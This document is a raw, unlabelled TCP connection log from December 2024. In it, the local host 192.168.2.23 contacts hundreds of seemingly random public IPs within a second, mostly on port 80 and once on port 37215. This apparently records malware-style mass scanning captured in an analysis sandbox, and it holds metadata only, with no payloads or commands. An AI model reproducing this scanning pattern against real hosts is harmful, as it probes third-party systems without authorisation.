Dec 3, 2024 22:11:50.487514019 CET	80	6883	98.103.8.79	192.168.2.23
Dec 3, 2024 22:11:50.487515926 CET	6883	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:50.487524033 CET	80	6883	140.76.241.6	192.168.2.23
Dec 3, 2024 22:11:50.487530947 CET	6883	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:50.487534046 CET	80	6883	205.91.17.173	192.168.2.23
Dec 3, 2024 22:11:50.487535954 CET	6883	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:50.487536907 CET	6883	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:50.487555027 CET	80	6883	112.94.207.133	192.168.2.23
Dec 3, 2024 22:11:50.487562895 CET	6883	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:50.487562895 CET	6883	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:50.487562895 CET	6883	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:50.487571001 CET	80	6883	84.71.252.104	192.168.2.23
Dec 3, 2024 22:11:50.487581015 CET	80	6883	134.42.74.112	192.168.2.23
Dec 3, 2024 22:11:50.487601995 CET	6883	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:50.487605095 CET	6883	80	192.168.2.23	84.71.252.104
Dec 3, 2024 22:11:50.487615108 CET	6883	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:50.863038063 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:50.863066912 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:50.863065958 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:50.863066912 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:50.863068104 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:50.863070965 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:50.863070011 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:50.863070011 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:50.863070011 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:50.863065958 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:50.863092899 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:50.863092899 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:50.863092899 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:50.863109112 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:50.863109112 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:50.863109112 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:50.863110065 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:50.863110065 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:50.863121986 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:50.863121986 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:50.863121986 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:50.863121986 CET	37286	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:50.863126993 CET	41758	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:50.863132954 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:50.863132954 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:50.863137007 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:50.863137007 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:50.863142014 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:50.863142014 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:50.894942999 CET	41454	80	192.168.2.23	13.227.133.150
Dec 3, 2024 22:11:50.894946098 CET	45352	80	192.168.2.23	151.117.200.130
Dec 3, 2024 22:11:50.894954920 CET	47096	80	192.168.2.23	2.111.72.125
Dec 3, 2024 22:11:50.894954920 CET	50796	80	192.168.2.23	69.224.65.58
Dec 3, 2024 22:11:50.894957066 CET	32856	80	192.168.2.23	9.180.125.203
Dec 3, 2024 22:11:50.894969940 CET	42012	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:50.894973993 CET	58150	80	192.168.2.23	69.165.68.106
Dec 3, 2024 22:11:50.894975901 CET	44620	80	192.168.2.23	216.84.178.95
Dec 3, 2024 22:11:50.894975901 CET	57734	80	192.168.2.23	87.124.13.206
Dec 3, 2024 22:11:50.894980907 CET	50506	80	192.168.2.23	195.46.36.83
Dec 3, 2024 22:11:50.894982100 CET	36480	80	192.168.2.23	59.234.43.201
Dec 3, 2024 22:11:50.894987106 CET	57556	80	192.168.2.23	172.13.154.229
Dec 3, 2024 22:11:50.894989967 CET	36822	80	192.168.2.23	151.234.254.75
Dec 3, 2024 22:11:50.894998074 CET	56952	80	192.168.2.23	44.96.228.159
Dec 3, 2024 22:11:50.895004034 CET	48936	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:50.895004034 CET	41228	80	192.168.2.23	13.209.9.211
Dec 3, 2024 22:11:50.895004034 CET	33174	80	192.168.2.23	46.218.150.180
Dec 3, 2024 22:11:50.895005941 CET	48390	80	192.168.2.23	152.61.133.39
Dec 3, 2024 22:11:50.895005941 CET	57494	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:50.895015955 CET	51264	80	192.168.2.23	57.234.210.229
Dec 3, 2024 22:11:50.895021915 CET	55588	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:50.895029068 CET	47846	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:50.895032883 CET	56064	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:50.895040035 CET	55360	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:50.895052910 CET	41822	80	192.168.2.23	198.13.188.248
Dec 3, 2024 22:11:50.895056963 CET	56808	80	192.168.2.23	208.247.27.129
Dec 3, 2024 22:11:50.983438015 CET	80	58830	133.23.65.66	192.168.2.23
Dec 3, 2024 22:11:50.983457088 CET	80	34300	67.109.205.61	192.168.2.23
Dec 3, 2024 22:11:50.983489990 CET	80	60458	177.109.45.183	192.168.2.23
Dec 3, 2024 22:11:50.983503103 CET	80	55548	51.132.116.166	192.168.2.23
Dec 3, 2024 22:11:50.983515024 CET	80	34016	121.127.51.127	192.168.2.23
Dec 3, 2024 22:11:50.983525038 CET	80	38692	90.128.45.194	192.168.2.23
Dec 3, 2024 22:11:50.983536005 CET	80	33760	89.237.234.81	192.168.2.23
Dec 3, 2024 22:11:50.983546019 CET	80	43764	185.248.148.162	192.168.2.23
Dec 3, 2024 22:11:50.983558893 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:50.983566046 CET	80	38806	52.200.155.160	192.168.2.23
Dec 3, 2024 22:11:50.983570099 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:50.983573914 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:50.983577013 CET	80	33988	121.123.242.60	192.168.2.23
Dec 3, 2024 22:11:50.983573914 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:50.983582020 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:50.983589888 CET	80	45662	175.207.62.8	192.168.2.23
Dec 3, 2024 22:11:50.983599901 CET	80	49912	178.168.125.118	192.168.2.23
Dec 3, 2024 22:11:50.983609915 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:50.983611107 CET	80	56182	114.255.133.213	192.168.2.23
Dec 3, 2024 22:11:50.983618021 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:50.983619928 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:50.983633041 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:50.983644962 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:50.983644962 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:50.983649969 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:50.983649969 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:50.983825922 CET	6883	80	192.168.2.23	112.155.127.190
Dec 3, 2024 22:11:50.983825922 CET	6883	80	192.168.2.23	209.250.24.111
Dec 3, 2024 22:11:50.983836889 CET	6883	80	192.168.2.23	170.223.253.82
Dec 3, 2024 22:11:50.983841896 CET	6883	80	192.168.2.23	178.58.251.176
Dec 3, 2024 22:11:50.983843088 CET	6883	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:50.983843088 CET	6883	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:50.983844042 CET	6883	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:50.983844042 CET	6883	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:50.983848095 CET	6883	80	192.168.2.23	31.114.90.41
Dec 3, 2024 22:11:50.983875990 CET	6883	80	192.168.2.23	20.13.193.236
Dec 3, 2024 22:11:50.983877897 CET	6883	80	192.168.2.23	40.234.241.135
Dec 3, 2024 22:11:50.983882904 CET	6883	80	192.168.2.23	159.28.201.180
Dec 3, 2024 22:11:50.983882904 CET	6883	80	192.168.2.23	40.0.26.245
Dec 3, 2024 22:11:50.983882904 CET	6883	80	192.168.2.23	27.99.157.121
Dec 3, 2024 22:11:50.983901024 CET	6883	80	192.168.2.23	113.254.125.47
Dec 3, 2024 22:11:50.983901024 CET	6883	80	192.168.2.23	203.49.22.228
Dec 3, 2024 22:11:50.983923912 CET	6883	80	192.168.2.23	172.159.198.170
Dec 3, 2024 22:11:50.983923912 CET	6883	80	192.168.2.23	112.5.163.20
Dec 3, 2024 22:11:50.983923912 CET	6883	80	192.168.2.23	93.161.240.163
Dec 3, 2024 22:11:50.983923912 CET	6883	80	192.168.2.23	172.132.193.41
Dec 3, 2024 22:11:50.983925104 CET	6883	80	192.168.2.23	132.39.203.153
Dec 3, 2024 22:11:50.983933926 CET	6883	80	192.168.2.23	183.69.27.198
Dec 3, 2024 22:11:50.983944893 CET	6883	80	192.168.2.23	131.24.147.5
Dec 3, 2024 22:11:50.983944893 CET	6883	80	192.168.2.23	136.127.18.185
Dec 3, 2024 22:11:50.983946085 CET	80	43310	168.141.43.142	192.168.2.23
Dec 3, 2024 22:11:50.983964920 CET	6883	80	192.168.2.23	27.221.31.148
Dec 3, 2024 22:11:50.983973980 CET	6883	80	192.168.2.23	8.198.203.142
Dec 3, 2024 22:11:50.983973980 CET	6883	80	192.168.2.23	59.0.130.91
Dec 3, 2024 22:11:50.983982086 CET	6883	80	192.168.2.23	200.70.48.17
Dec 3, 2024 22:11:50.983983040 CET	6883	80	192.168.2.23	141.128.247.152
Dec 3, 2024 22:11:50.983983994 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:50.983984947 CET	6883	80	192.168.2.23	143.81.4.29
Dec 3, 2024 22:11:50.983990908 CET	6883	80	192.168.2.23	113.73.138.40
Dec 3, 2024 22:11:50.984004974 CET	6883	80	192.168.2.23	211.36.86.133
Dec 3, 2024 22:11:50.984011889 CET	6883	80	192.168.2.23	64.100.243.39
Dec 3, 2024 22:11:50.984013081 CET	6883	80	192.168.2.23	221.115.116.195
Dec 3, 2024 22:11:50.984014034 CET	6883	80	192.168.2.23	34.59.148.180
Dec 3, 2024 22:11:50.984014988 CET	6883	80	192.168.2.23	83.243.218.83
Dec 3, 2024 22:11:50.984034061 CET	6883	80	192.168.2.23	90.13.151.163
Dec 3, 2024 22:11:50.984036922 CET	6883	80	192.168.2.23	217.147.12.96
Dec 3, 2024 22:11:50.984036922 CET	6883	80	192.168.2.23	148.138.246.177
Dec 3, 2024 22:11:50.984041929 CET	80	34302	204.35.166.113	192.168.2.23
Dec 3, 2024 22:11:50.984044075 CET	6883	80	192.168.2.23	12.108.154.6
Dec 3, 2024 22:11:50.984050035 CET	6883	80	192.168.2.23	134.201.85.180
Dec 3, 2024 22:11:50.984054089 CET	80	41758	211.248.1.241	192.168.2.23
Dec 3, 2024 22:11:50.984060049 CET	6883	80	192.168.2.23	65.131.234.167
Dec 3, 2024 22:11:50.984067917 CET	6883	80	192.168.2.23	129.117.141.141
Dec 3, 2024 22:11:50.984067917 CET	6883	80	192.168.2.23	157.16.135.13
Dec 3, 2024 22:11:50.984070063 CET	80	37886	42.54.179.203	192.168.2.23
Dec 3, 2024 22:11:50.984078884 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:50.984081984 CET	80	47182	165.71.235.9	192.168.2.23
Dec 3, 2024 22:11:50.984086037 CET	41758	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:50.984093904 CET	80	35800	100.44.128.127	192.168.2.23
Dec 3, 2024 22:11:50.984097004 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:50.984108925 CET	6883	80	192.168.2.23	111.84.63.8
Dec 3, 2024 22:11:50.984126091 CET	80	51100	157.10.232.130	192.168.2.23
Dec 3, 2024 22:11:50.984128952 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:50.984133959 CET	6883	80	192.168.2.23	203.74.230.60
Dec 3, 2024 22:11:50.984134912 CET	6883	80	192.168.2.23	64.61.115.55
Dec 3, 2024 22:11:50.984137058 CET	6883	80	192.168.2.23	62.99.40.212
Dec 3, 2024 22:11:50.984139919 CET	80	34322	192.122.106.149	192.168.2.23
Dec 3, 2024 22:11:50.984143972 CET	6883	80	192.168.2.23	73.159.248.97
Dec 3, 2024 22:11:50.984144926 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:50.984148026 CET	6883	80	192.168.2.23	131.64.54.197
Dec 3, 2024 22:11:50.984154940 CET	80	41848	91.168.168.177	192.168.2.23
Dec 3, 2024 22:11:50.984163046 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:50.984164000 CET	6883	80	192.168.2.23	88.102.170.214
Dec 3, 2024 22:11:50.984167099 CET	80	39260	222.183.121.253	192.168.2.23
Dec 3, 2024 22:11:50.984170914 CET	6883	80	192.168.2.23	133.76.51.197
Dec 3, 2024 22:11:50.984178066 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:50.984179974 CET	6883	80	192.168.2.23	103.130.214.132
Dec 3, 2024 22:11:50.984185934 CET	6883	80	192.168.2.23	40.52.24.112
Dec 3, 2024 22:11:50.984199047 CET	6883	80	192.168.2.23	210.235.198.131
Dec 3, 2024 22:11:50.984214067 CET	6883	80	192.168.2.23	130.15.88.85
Dec 3, 2024 22:11:50.984215975 CET	6883	80	192.168.2.23	44.29.227.234
Dec 3, 2024 22:11:50.984230042 CET	6883	80	192.168.2.23	79.178.68.225
Dec 3, 2024 22:11:50.984232903 CET	6883	80	192.168.2.23	174.26.98.208
Dec 3, 2024 22:11:50.984236956 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:50.984249115 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:50.984251022 CET	80	43952	120.47.138.87	192.168.2.23
Dec 3, 2024 22:11:50.984256983 CET	6883	80	192.168.2.23	183.200.120.231
Dec 3, 2024 22:11:50.984257936 CET	6883	80	192.168.2.23	220.17.141.255
Dec 3, 2024 22:11:50.984263897 CET	80	39936	220.40.166.42	192.168.2.23
Dec 3, 2024 22:11:50.984266996 CET	6883	80	192.168.2.23	223.146.12.171
Dec 3, 2024 22:11:50.984273911 CET	6883	80	192.168.2.23	207.43.212.213
Dec 3, 2024 22:11:50.984275103 CET	80	46792	39.26.141.128	192.168.2.23
Dec 3, 2024 22:11:50.984286070 CET	80	51360	25.56.170.39	192.168.2.23
Dec 3, 2024 22:11:50.984296083 CET	80	50038	189.113.25.114	192.168.2.23
Dec 3, 2024 22:11:50.984304905 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:50.984304905 CET	6883	80	192.168.2.23	212.131.79.32
Dec 3, 2024 22:11:50.984304905 CET	80	37286	62.248.199.225	192.168.2.23
Dec 3, 2024 22:11:50.984306097 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:50.984304905 CET	6883	80	192.168.2.23	177.252.142.217
Dec 3, 2024 22:11:50.984307051 CET	6883	80	192.168.2.23	176.125.74.184
Dec 3, 2024 22:11:50.984306097 CET	6883	80	192.168.2.23	179.166.239.22
Dec 3, 2024 22:11:50.984304905 CET	6883	80	192.168.2.23	174.161.94.9
Dec 3, 2024 22:11:50.984308958 CET	6883	80	192.168.2.23	188.247.19.196
Dec 3, 2024 22:11:50.984308958 CET	6883	80	192.168.2.23	107.85.80.62
Dec 3, 2024 22:11:50.984306097 CET	6883	80	192.168.2.23	210.153.18.255
Dec 3, 2024 22:11:50.984323978 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:50.984323978 CET	6883	80	192.168.2.23	187.218.216.187
Dec 3, 2024 22:11:50.984324932 CET	6883	80	192.168.2.23	57.64.245.157
Dec 3, 2024 22:11:50.984324932 CET	6883	80	192.168.2.23	108.235.53.151
Dec 3, 2024 22:11:50.984329939 CET	6883	80	192.168.2.23	205.139.231.87
Dec 3, 2024 22:11:50.984329939 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:50.984329939 CET	6883	80	192.168.2.23	141.230.231.6
Dec 3, 2024 22:11:50.984333992 CET	6883	80	192.168.2.23	149.59.152.38
Dec 3, 2024 22:11:50.984333992 CET	6883	80	192.168.2.23	151.200.241.70
Dec 3, 2024 22:11:50.984333992 CET	6883	80	192.168.2.23	35.246.223.208
Dec 3, 2024 22:11:50.984333992 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:50.984338999 CET	6883	80	192.168.2.23	108.209.46.38
Dec 3, 2024 22:11:50.984349012 CET	37286	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:50.984349966 CET	6883	80	192.168.2.23	97.204.46.217
Dec 3, 2024 22:11:50.984354973 CET	6883	80	192.168.2.23	152.136.149.117
Dec 3, 2024 22:11:50.984358072 CET	6883	80	192.168.2.23	8.110.203.165
Dec 3, 2024 22:11:50.984359026 CET	6883	80	192.168.2.23	51.94.114.209
Dec 3, 2024 22:11:50.984369993 CET	6883	80	192.168.2.23	82.247.5.250
Dec 3, 2024 22:11:50.984384060 CET	6883	80	192.168.2.23	145.210.27.65
Dec 3, 2024 22:11:50.984390974 CET	6883	80	192.168.2.23	4.192.157.77
Dec 3, 2024 22:11:50.984391928 CET	6883	80	192.168.2.23	179.253.126.52
Dec 3, 2024 22:11:50.984399080 CET	6883	80	192.168.2.23	50.143.154.72
Dec 3, 2024 22:11:50.984402895 CET	6883	80	192.168.2.23	67.76.201.89
Dec 3, 2024 22:11:50.984417915 CET	6883	80	192.168.2.23	20.42.101.71
Dec 3, 2024 22:11:50.984417915 CET	6883	80	192.168.2.23	46.75.72.140
Dec 3, 2024 22:11:50.984427929 CET	6883	80	192.168.2.23	88.152.110.239
Dec 3, 2024 22:11:50.984437943 CET	6883	80	192.168.2.23	79.224.101.59
Dec 3, 2024 22:11:50.984448910 CET	6883	80	192.168.2.23	4.65.29.155
Dec 3, 2024 22:11:50.984451056 CET	6883	80	192.168.2.23	109.246.189.191
Dec 3, 2024 22:11:50.984451056 CET	6883	80	192.168.2.23	140.172.240.136
Dec 3, 2024 22:11:50.984460115 CET	6883	80	192.168.2.23	217.247.186.215
Dec 3, 2024 22:11:50.984463930 CET	6883	80	192.168.2.23	78.230.176.16
Dec 3, 2024 22:11:50.984463930 CET	6883	80	192.168.2.23	186.128.135.115
Dec 3, 2024 22:11:50.984478951 CET	6883	80	192.168.2.23	60.81.183.216
Dec 3, 2024 22:11:50.984483957 CET	6883	80	192.168.2.23	212.122.220.30
Dec 3, 2024 22:11:50.984483957 CET	6883	80	192.168.2.23	221.43.7.63
Dec 3, 2024 22:11:50.984487057 CET	6883	80	192.168.2.23	210.123.180.33
Dec 3, 2024 22:11:50.984503031 CET	6883	80	192.168.2.23	202.202.23.35
Dec 3, 2024 22:11:50.984504938 CET	6883	80	192.168.2.23	123.124.203.97
Dec 3, 2024 22:11:50.984507084 CET	6883	80	192.168.2.23	63.167.96.155
Dec 3, 2024 22:11:50.984509945 CET	6883	80	192.168.2.23	212.137.178.165
Dec 3, 2024 22:11:50.984509945 CET	6883	80	192.168.2.23	180.57.24.173
Dec 3, 2024 22:11:50.984517097 CET	6883	80	192.168.2.23	155.45.227.229
Dec 3, 2024 22:11:50.984525919 CET	6883	80	192.168.2.23	169.6.93.3
Dec 3, 2024 22:11:50.984538078 CET	6883	80	192.168.2.23	201.138.33.123
Dec 3, 2024 22:11:50.984538078 CET	6883	80	192.168.2.23	14.112.186.221
Dec 3, 2024 22:11:50.984544992 CET	6883	80	192.168.2.23	217.80.94.158
Dec 3, 2024 22:11:50.984549046 CET	6883	80	192.168.2.23	188.201.229.242
Dec 3, 2024 22:11:50.984559059 CET	6883	80	192.168.2.23	192.42.198.147
Dec 3, 2024 22:11:50.984559059 CET	6883	80	192.168.2.23	18.11.32.93
Dec 3, 2024 22:11:50.984569073 CET	6883	80	192.168.2.23	217.219.242.100
Dec 3, 2024 22:11:50.984569073 CET	6883	80	192.168.2.23	101.103.189.28
Dec 3, 2024 22:11:50.984589100 CET	6883	80	192.168.2.23	191.11.207.110
Dec 3, 2024 22:11:50.984592915 CET	6883	80	192.168.2.23	174.135.152.76
Dec 3, 2024 22:11:50.984601974 CET	6883	80	192.168.2.23	198.116.222.171
Dec 3, 2024 22:11:50.984602928 CET	6883	80	192.168.2.23	193.207.255.99
Dec 3, 2024 22:11:50.984611034 CET	6883	80	192.168.2.23	109.37.24.139
Dec 3, 2024 22:11:50.984612942 CET	6883	80	192.168.2.23	111.192.102.105
Dec 3, 2024 22:11:50.984628916 CET	6883	80	192.168.2.23	122.136.35.22
Dec 3, 2024 22:11:50.984637022 CET	6883	80	192.168.2.23	86.251.151.71
Dec 3, 2024 22:11:50.984653950 CET	6883	80	192.168.2.23	104.23.143.79
Dec 3, 2024 22:11:50.984656096 CET	6883	80	192.168.2.23	137.255.218.206
Dec 3, 2024 22:11:50.984657049 CET	6883	80	192.168.2.23	35.28.163.28
Dec 3, 2024 22:11:50.984667063 CET	6883	80	192.168.2.23	195.63.179.213
Dec 3, 2024 22:11:50.984669924 CET	6883	80	192.168.2.23	149.105.229.48
Dec 3, 2024 22:11:50.984672070 CET	6883	80	192.168.2.23	133.213.116.155
Dec 3, 2024 22:11:50.984673977 CET	6883	80	192.168.2.23	218.148.63.255
Dec 3, 2024 22:11:50.984685898 CET	6883	80	192.168.2.23	181.117.236.78
Dec 3, 2024 22:11:50.984704018 CET	6883	80	192.168.2.23	113.31.200.187
Dec 3, 2024 22:11:50.984704018 CET	6883	80	192.168.2.23	196.92.69.68
Dec 3, 2024 22:11:50.984710932 CET	6883	80	192.168.2.23	141.175.92.250
Dec 3, 2024 22:11:50.984711885 CET	6883	80	192.168.2.23	5.79.87.244
Dec 3, 2024 22:11:50.984715939 CET	6883	80	192.168.2.23	216.222.76.167
Dec 3, 2024 22:11:50.984715939 CET	6883	80	192.168.2.23	74.86.16.179
Dec 3, 2024 22:11:50.984719038 CET	6883	80	192.168.2.23	189.137.63.88
Dec 3, 2024 22:11:50.984719038 CET	6883	80	192.168.2.23	158.186.245.20
Dec 3, 2024 22:11:50.984730959 CET	6883	80	192.168.2.23	122.217.43.185
Dec 3, 2024 22:11:50.984731913 CET	6883	80	192.168.2.23	166.205.81.172
Dec 3, 2024 22:11:50.984736919 CET	6883	80	192.168.2.23	187.66.136.163
Dec 3, 2024 22:11:50.984747887 CET	6883	80	192.168.2.23	54.242.148.28
Dec 3, 2024 22:11:50.984764099 CET	6883	80	192.168.2.23	65.228.44.157
Dec 3, 2024 22:11:50.984766960 CET	6883	80	192.168.2.23	218.68.27.245
Dec 3, 2024 22:11:50.984766960 CET	6883	80	192.168.2.23	196.157.174.119
Dec 3, 2024 22:11:50.984777927 CET	6883	80	192.168.2.23	134.240.216.67
Dec 3, 2024 22:11:50.984781981 CET	6883	80	192.168.2.23	138.141.98.249
Dec 3, 2024 22:11:50.984797001 CET	6883	80	192.168.2.23	140.123.103.164
Dec 3, 2024 22:11:50.984797001 CET	6883	80	192.168.2.23	32.44.115.248
Dec 3, 2024 22:11:50.984798908 CET	6883	80	192.168.2.23	58.169.172.11
Dec 3, 2024 22:11:50.984801054 CET	6883	80	192.168.2.23	142.61.41.184
Dec 3, 2024 22:11:50.984812021 CET	6883	80	192.168.2.23	159.41.140.228
Dec 3, 2024 22:11:50.984814882 CET	6883	80	192.168.2.23	114.177.81.177
Dec 3, 2024 22:11:50.984814882 CET	6883	80	192.168.2.23	122.6.39.28
Dec 3, 2024 22:11:50.984822989 CET	6883	80	192.168.2.23	128.26.209.1
Dec 3, 2024 22:11:50.984832048 CET	6883	80	192.168.2.23	103.112.164.1
Dec 3, 2024 22:11:50.984848976 CET	6883	80	192.168.2.23	222.44.115.21
Dec 3, 2024 22:11:50.984848976 CET	6883	80	192.168.2.23	113.226.38.79
Dec 3, 2024 22:11:50.984858990 CET	6883	80	192.168.2.23	174.67.135.4
Dec 3, 2024 22:11:50.984865904 CET	6883	80	192.168.2.23	111.91.232.48
Dec 3, 2024 22:11:50.984865904 CET	6883	80	192.168.2.23	122.245.55.166
Dec 3, 2024 22:11:50.984867096 CET	6883	80	192.168.2.23	53.102.159.13
Dec 3, 2024 22:11:50.984873056 CET	6883	80	192.168.2.23	34.215.51.34
Dec 3, 2024 22:11:50.984879017 CET	6883	80	192.168.2.23	41.63.70.176
Dec 3, 2024 22:11:50.984879971 CET	6883	80	192.168.2.23	189.9.105.155
Dec 3, 2024 22:11:50.984886885 CET	6883	80	192.168.2.23	141.190.75.120
Dec 3, 2024 22:11:50.984894037 CET	6883	80	192.168.2.23	110.226.193.220
Dec 3, 2024 22:11:50.984909058 CET	6883	80	192.168.2.23	164.196.245.233
Dec 3, 2024 22:11:50.984910011 CET	6883	80	192.168.2.23	4.131.94.86
Dec 3, 2024 22:11:50.984910011 CET	6883	80	192.168.2.23	164.1.21.186
Dec 3, 2024 22:11:50.984910965 CET	6883	80	192.168.2.23	213.145.240.52
Dec 3, 2024 22:11:50.984925032 CET	6883	80	192.168.2.23	193.10.98.86
Dec 3, 2024 22:11:50.984925985 CET	6883	80	192.168.2.23	209.226.73.94
Dec 3, 2024 22:11:50.984925985 CET	6883	80	192.168.2.23	191.252.164.55
Dec 3, 2024 22:11:50.984930038 CET	6883	80	192.168.2.23	141.186.166.20
Dec 3, 2024 22:11:50.984944105 CET	6883	80	192.168.2.23	200.215.98.116
Dec 3, 2024 22:11:50.984952927 CET	6883	80	192.168.2.23	105.36.83.36
Dec 3, 2024 22:11:50.984952927 CET	6883	80	192.168.2.23	192.77.31.91
Dec 3, 2024 22:11:50.984955072 CET	6883	80	192.168.2.23	111.79.68.109
Dec 3, 2024 22:11:50.984956026 CET	6883	80	192.168.2.23	31.9.220.90
Dec 3, 2024 22:11:50.984962940 CET	6883	80	192.168.2.23	77.111.77.122
Dec 3, 2024 22:11:50.984970093 CET	6883	80	192.168.2.23	122.36.165.181
Dec 3, 2024 22:11:50.984970093 CET	6883	80	192.168.2.23	160.122.154.96
Dec 3, 2024 22:11:50.984985113 CET	6883	80	192.168.2.23	82.243.168.137
Dec 3, 2024 22:11:50.984989882 CET	6883	80	192.168.2.23	181.196.102.148
Dec 3, 2024 22:11:50.984991074 CET	6883	80	192.168.2.23	129.238.137.169
Dec 3, 2024 22:11:50.984992981 CET	6883	80	192.168.2.23	152.226.93.169
Dec 3, 2024 22:11:50.985003948 CET	6883	80	192.168.2.23	117.154.138.133
Dec 3, 2024 22:11:50.985003948 CET	6883	80	192.168.2.23	163.30.168.49
Dec 3, 2024 22:11:50.985012054 CET	6883	80	192.168.2.23	79.34.187.154
Dec 3, 2024 22:11:50.985019922 CET	6883	80	192.168.2.23	192.92.153.54
Dec 3, 2024 22:11:50.985025883 CET	6883	80	192.168.2.23	183.181.146.164
Dec 3, 2024 22:11:50.985028028 CET	6883	80	192.168.2.23	68.173.174.37
Dec 3, 2024 22:11:50.985032082 CET	6883	80	192.168.2.23	200.146.189.49
Dec 3, 2024 22:11:50.985043049 CET	6883	80	192.168.2.23	173.95.114.113
Dec 3, 2024 22:11:50.985055923 CET	6883	80	192.168.2.23	124.232.197.148
Dec 3, 2024 22:11:50.985055923 CET	6883	80	192.168.2.23	64.244.204.102
Dec 3, 2024 22:11:50.985063076 CET	6883	80	192.168.2.23	72.137.209.12
Dec 3, 2024 22:11:50.985079050 CET	6883	80	192.168.2.23	201.50.68.133
Dec 3, 2024 22:11:50.985086918 CET	6883	80	192.168.2.23	82.110.173.13
Dec 3, 2024 22:11:50.985100031 CET	6883	80	192.168.2.23	70.108.122.138
Dec 3, 2024 22:11:50.985106945 CET	6883	80	192.168.2.23	20.203.2.209
Dec 3, 2024 22:11:50.985106945 CET	6883	80	192.168.2.23	219.238.14.106
Dec 3, 2024 22:11:50.985107899 CET	6883	80	192.168.2.23	135.162.137.192
Dec 3, 2024 22:11:50.985119104 CET	6883	80	192.168.2.23	109.76.167.235
Dec 3, 2024 22:11:50.985122919 CET	6883	80	192.168.2.23	185.36.183.63
